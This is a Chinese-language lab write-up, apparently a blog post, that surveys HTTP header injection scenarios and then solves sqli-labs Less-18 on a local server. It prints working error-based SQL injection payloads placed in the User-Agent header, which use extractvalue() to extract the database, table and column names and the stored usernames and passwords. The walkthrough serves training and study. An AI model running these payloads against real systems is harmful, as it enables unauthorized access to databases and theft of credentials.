HTTP 头部参数数据注入测试sqlilabs less 18

常见的注入点和测试场景

以下是一些最常被测试和攻击的HTTP头部:

a. Host
  • 用途:指定请求的目标服务器和端口。

  • 注入场景:

    • 密码重置中毒 :修改Host头为攻击者控制的域名,应用程序生成的密码重置链接可能指向恶意网站。

    • 缓存投毒:与缓存机制结合,使其他用户收到被篡改的页面。

    • 绕过访问控制 :某些旧版或配置错误的虚拟主机可能根据Host头来路由请求。

b. User-Agent
  • 用途:标识发起请求的客户端(浏览器、爬虫等)。

  • 注入场景:

    • SQL注入 :如果应用程序将User-Agent记录到数据库且未过滤,可能引入SQL注入。

    • XSS(跨站脚本) :如果管理员在日志查看界面看到User-Agent,且界面未正确转义,则可执行JavaScript。

    • HTTP响应头拆分 :注入CRLF字符(\r\n)来操纵HTTP响应。

c. X-Forwarded-For (以及 X-Real-IP, X-Forwarded-Host)
  • 用途:在代理或负载均衡器后面,标识客户端的原始IP地址。

  • 注入场景:

    • IP欺骗:绕过基于IP的访问控制、速率限制或地理封锁。

    • SQL注入/XSS :同User-Agent,如果该值被记录或显示。

d. Referer
  • 用途:指示请求是从哪个页面链接过来的。

  • 注入场景:

    • 敏感信息泄露 :Referer头可能包含会话令牌或其他敏感信息,泄露给第三方网站。

    • CSRF绕过 :如果应用程序仅检查Referer头来防御CSRF,可能被绕过(例如,当Referer为空或来自允许的域名时)。

    • XSS/Open Redirect:注入恶意URL。

  • 用途:携带会话凭证和其他客户端状态信息。

  • 注入场景:

    • Cookie注入:直接修改Cookie值,尝试进行SQL注入、目录遍历等。

    • 会话固定攻击:强制用户使用攻击者已知的会话ID。

f. Accept 和 Accept-Language
  • 用途:告诉服务器客户端接受的内容类型和语言。

  • 注入场景:

    • XSS :如果Accept-Language的值被直接嵌入到响应中而未转义。

    • 命令注入:极少数情况下,如果服务器使用这些头来构造系统命令(如选择本地化文件)。

1.sqlilabs less 18

首先还是尝试

http://127.0.0.1:8081/Less-18/index.php/?id=1

/?id=1 and 1=1

/?id=1 and 1=2

?id=1' and '1'='1

?id=1' and '1'='2

?id=1"and "1"="1?id=1"and "1"="1

都没反应

2.登录admin,admin,查看一下相关的语句

Your IP ADDRESS is: 127.0.0.1
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.3

得到这样的语句,那么就去bp抓包修改尝试能不能得到什么有用的信息

3.抓包修改:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36'

在这里加个单引号发现了错误,此时发现了注入点

直接开始使用查询列数,联合查询,查看数据库,user,操作版本等数据,还是可以使用extratvalue()函数来报错得到数据

4.数据库

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0User-Agent: ' and extractvalue(1,concat(0x7e,database(),0x7e)) and '1'='1

数据库是security

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0User-Agent:' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)) and '1'='1

发现这个不行是没有发现源代码是由插入语句的存在,所以也要使用插入语句的形式:

1',1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1))))#

这是一条插入语句:INSERT INTO t1(field1,field2) VALUE(v001,v002);

前面的1'来闭合语句,后面的1来占位,然后concat的语句占第二个位置,如果还有其他的位置就注释掉

同理再去查列的内容,修改上面行的内容:

1',1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))))#

里面有id,username,password

最后

1',1,extractvalue(1,concat(0x7e,(select username from security.users limit 0,1))))#

1',1,extractvalue(1,concat(0x7e,(select password from security.users limit 0,1))))#

相关推荐
YH_Analytics11 分钟前
2026-2032 年中央鸡蛋输送机市场规模与增长预测
网络·人工智能
m0_6399069437 分钟前
RESTful API 接口设计规范:资源导向、HTTP 语义、统一返回格式、避坑指南
http·restful·设计规范
洋不写bug40 分钟前
HTTP(二):万字解析HTTP交互的请求、响应报文格式
网络协议·http·交互·postman·请求格式·响应格式·restful规范
sun00770040 分钟前
ip rule路由
网络·网络协议·tcp/ip
liuhaoodng6261 小时前
《网络IA项目:单臂路由(vlan间通讯)优化实战版》
运维·网络·网络协议
EasyCVR1 小时前
视频汇聚/视频融合/视频分析EasyCVR平台的三个诊断按钮,到底该点哪一个?一文告诉你
网络·easycvr·国标gb28181
国科安芯1 小时前
星上计算的第一道防线:低轨遥感卫星载荷处理链中的AS32S601型抗辐射MCU—— 面向高分辨率成像与在轨智能处理的场景化综述
大数据·网络·人工智能·单片机·算法·低轨卫星·抗辐射
ITxiaobing20232 小时前
海外广告投放:AdTech 场景下 IP 地址库选型思考
服务器·网络·tcp/ip
QZ166560951592 小时前
高效・AI 优化・多模态:知镜-数据安全检测工具政务数据安全管理方案
网络·安全·网络安全
国科安芯2 小时前
从点火到入轨的毫秒尺度:商业运载火箭飞行时序控制中的抗辐射MCU可靠性边界—— 面向短时高可靠任务的单粒子效应证据与架构分析
网络·人工智能·单片机·嵌入式硬件·架构·火箭·抗辐射